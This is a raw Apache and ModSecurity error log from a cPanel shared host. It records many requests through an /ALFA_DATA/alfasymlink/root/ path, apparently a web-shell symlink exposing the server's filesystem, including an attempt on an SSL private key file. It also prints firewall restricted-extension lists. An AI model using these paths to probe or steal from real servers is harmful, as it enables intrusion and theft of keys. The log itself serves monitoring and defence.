[Mon Oct 26 01:21:31.133222 2026] [security2:error] [pid 2967984:tid 2967984] [client 107.172.76.131:51296] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7jTaxIp0mEme_g4MiP6AAAAAk"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 01:21:31.133302 2026] [security2:error] [pid 2967984:tid 2967984] [client 107.172.76.131:51296] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "clic1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7jTaxIp0mEme_g4MiP6AAAAAk"], referer: https://clic1.sherwinpinturas.com//beta.php
[Mon Oct 26 01:21:31.616332 2026] [ssl:error] [pid 2967982:tid 2967982] (70014)End of file found: [client 34.231.118.144:47478] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:21:39.415442 2026] [core:error] [pid 2961914:tid 2961914] (13)Permission denied: [client 34.224.132.215:12200] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/driver/0000:00:03.0/firmware_node/subsystem/drivers/ec/bind
[Mon Oct 26 01:21:47.694389 2026] [ssl:error] [pid 2961914:tid 2961914] (70014)End of file found: [client 34.234.206.30:43249] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:21:51.374260 2026] [core:error] [pid 2963547:tid 2963547] (13)Permission denied: [client 44.194.134.53:27271] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/rescan
[Mon Oct 26 01:21:55.337902 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 34.239.197.197:50213] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:22:07.404093 2026] [ssl:error] [pid 2963540:tid 2963540] (70014)End of file found: [client 44.214.19.8:14476] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:22:08.490161 2026] [ssl:error] [pid 2961914:tid 2961914] (70014)End of file found: [client 185.191.171.15:19288] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:22:11.318772 2026] [ssl:error] [pid 2963547:tid 2963547] (70014)End of file found: [client 44.218.170.184:1865] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:22:19.228789 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 98.83.178.66:64889] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:22:31.176745 2026] [ssl:error] [pid 2961914:tid 2961914] (70014)End of file found: [client 34.231.156.59:20155] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:22:39.131679 2026] [ssl:error] [pid 2967444:tid 2967444] (70014)End of file found: [client 3.232.102.111:21760] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:22:55.962684 2026] [core:error] [pid 2963547:tid 2963547] (13)Permission denied: [client 34.206.249.188:24133] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/physical_node/subsystem/drivers/virtio-pci/0000:00:05.0/driver/new_id
[Mon Oct 26 01:22:59.124005 2026] [core:error] [pid 2968016:tid 2968016] (13)Permission denied: [client 34.202.88.37:42258] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/driver/new_id
[Mon Oct 26 01:23:07.370015 2026] [ssl:error] [pid 2968024:tid 2968024] (70014)End of file found: [client 100.28.204.82:6443] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:23:11.711333 2026] [ssl:error] [pid 2967982:tid 2967982] (70014)End of file found: [client 52.203.237.170:53256] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:23:15.049563 2026] [core:error] [pid 2968421:tid 2968421] (13)Permission denied: [client 52.202.233.37:50426] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/subsystem/drivers/ata_piix/bind
[Mon Oct 26 01:23:23.123386 2026] [ssl:error] [pid 2963574:tid 2963574] (70014)End of file found: [client 54.80.73.122:13697] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:23:24.035153 2026] [core:error] [pid 2963566:tid 2963566] (13)Permission denied: [client 85.208.96.208:16576] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/partial
[Mon Oct 26 01:23:26.926372 2026] [ssl:error] [pid 2968024:tid 2968024] (70014)End of file found: [client 100.28.133.214:44101] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:23:30.921324 2026] [ssl:error] [pid 2968421:tid 2968421] (70014)End of file found: [client 52.4.76.156:33353] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:23:38.864536 2026] [core:error] [pid 2963566:tid 2963566] (13)Permission denied: [client 35.153.86.200:11181] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/event3/subsystem/input5/device/subsystem/devices/pcspkr/driver/module/uevent
[Mon Oct 26 01:23:46.881453 2026] [ssl:error] [pid 2968421:tid 2968421] (70014)End of file found: [client 52.204.89.12:42900] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:23:50.859789 2026] [ssl:error] [pid 2963512:tid 2963512] (70014)End of file found: [client 3.217.82.254:36030] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:23:56.702257 2026] [core:error] [pid 2963566:tid 2963566] (13)Permission denied: [client 185.191.171.8:63242] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/order
[Mon Oct 26 01:23:58.949982 2026] [ssl:error] [pid 2968421:tid 2968421] (70014)End of file found: [client 3.94.40.182:8843] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:24:02.781740 2026] [ssl:error] [pid 2961914:tid 2961914] (70014)End of file found: [client 52.70.209.13:30448] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:24:02.939367 2026] [core:error] [pid 2963512:tid 2963512] (13)Permission denied: [client 185.191.171.8:61538] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-128/usersize
[Mon Oct 26 01:24:12.868077 2026] [ssl:error] [pid 2968421:tid 2968421] (70014)End of file found: [client 85.208.96.207:49122] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:24:14.702505 2026] [ssl:error] [pid 2967444:tid 2967444] (70014)End of file found: [client 18.214.186.220:5190] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:24:22.303736 2026] [core:error] [pid 2963512:tid 2963512] (13)Permission denied: [client 85.208.96.207:15766] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/libcrc32c/sections/__bug_table
[Mon Oct 26 01:24:22.889494 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 23.21.179.27:51276] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:24:30.829293 2026] [ssl:error] [pid 2968421:tid 2968421] (70014)End of file found: [client 34.231.118.144:51827] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:24:32.515392 2026] [core:error] [pid 2967444:tid 2967444] (13)Permission denied: [client 85.208.96.207:39106] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/eventpoll_pwq/align
[Mon Oct 26 01:24:46.412447 2026] [ssl:error] [pid 2967982:tid 2967982] (70014)End of file found: [client 35.169.119.108:3517] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:25:02.389355 2026] [ssl:error] [pid 2963574:tid 2963574] (70014)End of file found: [client 54.84.102.81:50293] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:25:05.981920 2026] [core:error] [pid 2968024:tid 2968024] (13)Permission denied: [client 85.208.96.198:23300] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/0000:00:02.0/remove
[Mon Oct 26 01:25:06.258157 2026] [ssl:error] [pid 2967982:tid 2967982] (70014)End of file found: [client 44.214.19.8:21846] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:25:13.807106 2026] [core:error] [pid 2963547:tid 2963547] (13)Permission denied: [client 185.191.171.6:61882] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_extent_status/usersize
[Mon Oct 26 01:25:18.209392 2026] [core:error] [pid 2963542:tid 2963542] (13)Permission denied: [client 85.208.96.206:64228] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/hugetlbfs_inode_cache/hwcache_align
[Mon Oct 26 01:25:18.391264 2026] [ssl:error] [pid 2968024:tid 2968024] (70014)End of file found: [client 44.195.50.71:16052] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:25:30.199593 2026] [ssl:error] [pid 2963547:tid 2963547] (70014)End of file found: [client 52.5.242.243:14750] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:25:38.187387 2026] [ssl:error] [pid 2963542:tid 2963542] (70014)End of file found: [client 107.23.62.75:38526] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:25:42.265372 2026] [core:error] [pid 2967982:tid 2967982] (13)Permission denied: [client 52.1.157.90:5821] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:07/subsystem/devices/device:01/wakeup/wakeup1/device/PNP0F13:00/physical_node/driver/00:02/subsystem/uevent
[Mon Oct 26 01:25:50.196989 2026] [ssl:error] [pid 2963574:tid 2963574] (70014)End of file found: [client 44.193.115.232:49179] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:25:58.189216 2026] [ssl:error] [pid 2963540:tid 2963540] (70014)End of file found: [client 44.212.131.50:10905] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:26:10.283232 2026] [ssl:error] [pid 2963540:tid 2963540] (70014)End of file found: [client 23.20.178.124:30805] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:26:18.173990 2026] [ssl:error] [pid 2961914:tid 2961914] (70014)End of file found: [client 54.88.84.219:20408] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:26:22.288817 2026] [ssl:error] [pid 2963547:tid 2963547] (70014)End of file found: [client 3.230.69.161:37191] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:26:26.335106 2026] [ssl:error] [pid 2963540:tid 2963540] (70014)End of file found: [client 54.204.62.163:4657] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:26:30.168275 2026] [core:error] [pid 2963566:tid 2963566] (13)Permission denied: [client 98.84.60.17:2829] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/subsystem/drivers/ata_piix/new_id
[Mon Oct 26 01:26:38.326988 2026] [ssl:error] [pid 2968016:tid 2968016] (70014)End of file found: [client 34.224.9.144:37553] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:26:46.197692 2026] [ssl:error] [pid 2963566:tid 2963566] (70014)End of file found: [client 44.197.76.210:15529] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:26:58.432463 2026] [ssl:error] [pid 2961914:tid 2961914] (70014)End of file found: [client 3.231.193.38:12932] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:27:02.180944 2026] [ssl:error] [pid 2968016:tid 2968016] (70014)End of file found: [client 23.23.99.55:19957] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:27:14.254718 2026] [core:error] [pid 2968421:tid 2968421] (13)Permission denied: [client 23.22.59.87:16302] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:01/PNP0501:01/subsystem/devices/PNP0A03:00/device:04/physical_node/driver/0000:00:03.0/resource0
[Mon Oct 26 01:27:28.606605 2026] [ssl:error] [pid 2967982:tid 2967982] (70014)End of file found: [client 85.208.96.206:48798] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:27:38.234078 2026] [ssl:error] [pid 2961914:tid 2961914] (70014)End of file found: [client 34.194.95.99:51000] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:27:42.182907 2026] [ssl:error] [pid 2963547:tid 2963547] (70014)End of file found: [client 44.223.116.149:10697] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:27:46.297721 2026] [ssl:error] [pid 2968421:tid 2968421] (70014)End of file found: [client 54.164.106.236:36547] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:27:50.152223 2026] [ssl:error] [pid 2963512:tid 2963512] (70014)End of file found: [client 100.25.120.246:33410] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:27:58.203490 2026] [ssl:error] [pid 2961914:tid 2961914] (70014)End of file found: [client 52.204.37.237:38539] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:28:02.283948 2026] [ssl:error] [pid 2963547:tid 2963547] (22)Invalid argument: [client 98.83.72.38:36284] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:28:14.239127 2026] [ssl:error] [pid 2963542:tid 2963542] (70014)End of file found: [client 52.0.218.219:7897] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:28:32.497212 2026] [security2:error] [pid 2963547:tid 2963547] [client 43.164.196.244:55916] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "64.20.54.226"] [uri "/"] [unique_id "at7lACpxD_ePIrQKavKifQAAAC0"]
[Mon Oct 26 01:28:32.498309 2026] [authz_core:error] [pid 2963547:tid 2963547] [client 43.164.196.244:55916] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 01:28:42.449981 2026] [security2:error] [pid 2963588:tid 2963588] [client 107.172.76.131:51294] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7k_khKYrNeTnGv3xbKJAAAAEk"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 01:28:42.450046 2026] [security2:error] [pid 2963588:tid 2963588] [client 107.172.76.131:51294] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at7k_khKYrNeTnGv3xbKJAAAAEk"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Mon Oct 26 01:28:44.481172 2026] [core:error] [pid 2963540:tid 2963540] (13)Permission denied: [client 185.191.171.2:62648] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_groupinfo_1k/partial
[Mon Oct 26 01:28:46.226401 2026] [core:error] [pid 2963547:tid 2963547] (13)Permission denied: [client 52.205.222.214:28994] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/tty/ptmx/subsystem/ttyS3/device/tty/ttyS1/uartclk
[Mon Oct 26 01:29:02.175575 2026] [ssl:error] [pid 2967982:tid 2967982] (70014)End of file found: [client 3.94.40.182:32987] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:29:05.823205 2026] [core:error] [pid 2968016:tid 2968016] (13)Permission denied: [client 185.191.171.5:30076] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/skbuff_fclone_cache/store_user
[Mon Oct 26 01:29:10.163667 2026] [core:error] [pid 2967444:tid 2967444] (13)Permission denied: [client 3.217.82.254:36355] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/device:1d/subsystem/devices/PNP0A03:00/physical_node/0000:00:03.0/resource0
[Mon Oct 26 01:29:14.200751 2026] [ssl:error] [pid 2967982:tid 2967982] (5)Input/output error: [client 98.84.200.43:23413] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:29:26.153244 2026] [ssl:error] [pid 2963547:tid 2963547] (70014)End of file found: [client 44.205.192.249:28541] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:29:30.248613 2026] [ssl:error] [pid 2963542:tid 2963542] (70014)End of file found: [client 54.198.33.233:47054] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:29:38.155952 2026] [ssl:error] [pid 2963574:tid 2963574] (70014)End of file found: [client 18.205.213.231:15063] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:29:42.178618 2026] [ssl:error] [pid 2961914:tid 2961914] (70014)End of file found: [client 100.29.128.75:10989] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:29:46.214794 2026] [ssl:error] [pid 2968016:tid 2968016] (70014)End of file found: [client 3.222.85.38:14048] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:29:54.893423 2026] [security2:error] [pid 2971501:tid 2971501] [client 85.208.96.210:30966] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".com"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/syslinux/dosutil/mdiskchk.com"] [unique_id "at7lUoB2F91qaH1mx9iz8gAAAAA"]
[Mon Oct 26 01:29:54.894207 2026] [security2:error] [pid 2971501:tid 2971501] [client 85.208.96.210:30966] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/syslinux/dosutil/mdiskchk.com"] [unique_id "at7lUoB2F91qaH1mx9iz8gAAAAA"]
[Mon Oct 26 01:29:54.894628 2026] [security2:error] [pid 2971501:tid 2971501] [client 85.208.96.210:30966] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/syslinux/dosutil/mdiskchk.com"] [unique_id "at7lUoB2F91qaH1mx9iz8gAAAAA"]
[Mon Oct 26 01:29:58.176743 2026] [ssl:error] [pid 2963512:tid 2963512] (70014)End of file found: [client 44.208.223.68:15895] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:30:02.269900 2026] [ssl:error] [pid 2968421:tid 2968421] (70014)End of file found: [client 98.84.60.17:31933] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:30:06.514471 2026] [ssl:error] [pid 2963574:tid 2963574] (70014)End of file found: [client 54.89.90.224:53625] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:30:10.268118 2026] [core:error] [pid 2963542:tid 2963542] (13)Permission denied: [client 100.24.149.244:14353] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input0/subsystem/input5/device/subsystem/drivers/pcspkr/pcspkr/driver/bind
[Mon Oct 26 01:30:14.328988 2026] [ssl:error] [pid 2963512:tid 2963512] (5)Input/output error: [client 184.73.195.18:1630] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:30:22.332055 2026] [ssl:error] [pid 2968016:tid 2968016] (70014)End of file found: [client 54.156.124.2:42192] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:30:26.367161 2026] [ssl:error] [pid 2963574:tid 2963574] (70014)End of file found: [client 3.93.253.174:46600] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:30:30.152221 2026] [ssl:error] [pid 2961914:tid 2961914] (70014)End of file found: [client 52.5.242.243:64881] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:30:34.165870 2026] [ssl:error] [pid 2971501:tid 2971501] (70014)End of file found: [client 3.226.106.93:27924] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:30:42.168040 2026] [ssl:error] [pid 2968016:tid 2968016] (70014)End of file found: [client 18.233.24.238:45425] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:30:46.365647 2026] [core:error] [pid 2967444:tid 2967444] (13)Permission denied: [client 85.208.96.207:14676] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/libata/sections/__tracepoints
[Mon Oct 26 01:30:50.170869 2026] [ssl:error] [pid 2968016:tid 2968016] (22)Invalid argument: [client 50.16.216.166:44986] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:31:02.195076 2026] [ssl:error] [pid 2967984:tid 2967984] (70014)End of file found: [client 44.205.74.196:59962] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:31:06.219740 2026] [ssl:error] [pid 2967985:tid 2967985] (70014)End of file found: [client 35.171.117.160:63713] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:31:10.143514 2026] [ssl:error] [pid 2963588:tid 2963588] (70014)End of file found: [client 3.219.81.66:44752] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:31:14.140036 2026] [ssl:error] [pid 2968015:tid 2968015] (70014)End of file found: [client 3.93.211.16:64607] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:31:18.295246 2026] [ssl:error] [pid 2967984:tid 2967984] (70014)End of file found: [client 23.23.212.212:12200] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:31:22.154265 2026] [ssl:error] [pid 2967985:tid 2967985] (70014)End of file found: [client 3.215.221.125:43916] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:31:26.145090 2026] [ssl:error] [pid 2963588:tid 2963588] (70014)End of file found: [client 35.173.18.61:33456] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:31:42.141173 2026] [ssl:error] [pid 2963588:tid 2963588] (70014)End of file found: [client 23.23.137.202:29776] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:31:54.320940 2026] [core:error] [pid 2967984:tid 2967984] (13)Permission denied: [client 3.229.2.217:37673] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:01/PNP0501:01/subsystem/drivers/button/LNXPWRBN:00/driver/bind
[Mon Oct 26 01:31:58.145466 2026] [ssl:error] [pid 2963588:tid 2963588] (70014)End of file found: [client 107.20.181.148:57265] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:32:06.128313 2026] [ssl:error] [pid 2963588:tid 2963588] (70014)End of file found: [client 34.227.156.153:65032] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:32:10.136013 2026] [ssl:error] [pid 2963578:tid 2963578] (70014)End of file found: [client 3.224.215.150:28978] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:32:15.377398 2026] [core:error] [pid 2968421:tid 2968421] (13)Permission denied: [client 185.191.171.12:50866] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-160/cpu_partial
[Mon Oct 26 01:32:20.120142 2026] [core:error] [pid 2963588:tid 2963588] (13)Permission denied: [client 85.208.96.203:24370] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/userfaultfd_ctx_cache/object_size
[Mon Oct 26 01:32:34.152136 2026] [ssl:error] [pid 2963578:tid 2963578] (70014)End of file found: [client 50.16.248.61:57149] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 01:32:41.989564 2026] [security2:error] [pid 2968421:tid 2968421] [client 85.208.96.199:48560] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/e118c_b9159_b8a0d1d73314ffd2d0db7e3ca42fa52b.key"] [unique_id "at7l-a9HOFwLIIPpv8hGiAAAAAQ"]
[Mon Oct 26 01:32:41.989999 2026] [security2:error] [pid 2968421:tid 2968421] [client 85.208.96.199:48560] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/e118c_b9159_b8a0d1d73314ffd2d0db7e3ca42fa52b.key"] [unique_id "at7l-a9HOFwLIIPpv8hGiAAAAAQ"]
[Mon Oct 26 01:32:41.990360 2026] [security2:error] [pid 2968421:tid 2968421] [client 85.208.96.199:48560] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/e118c_b9159_b8a0d1d73314ffd2d0db7e3ca42fa52b.key"] [unique_id "at7l-a9HOFwLIIPpv8hGiAAAAAQ"]
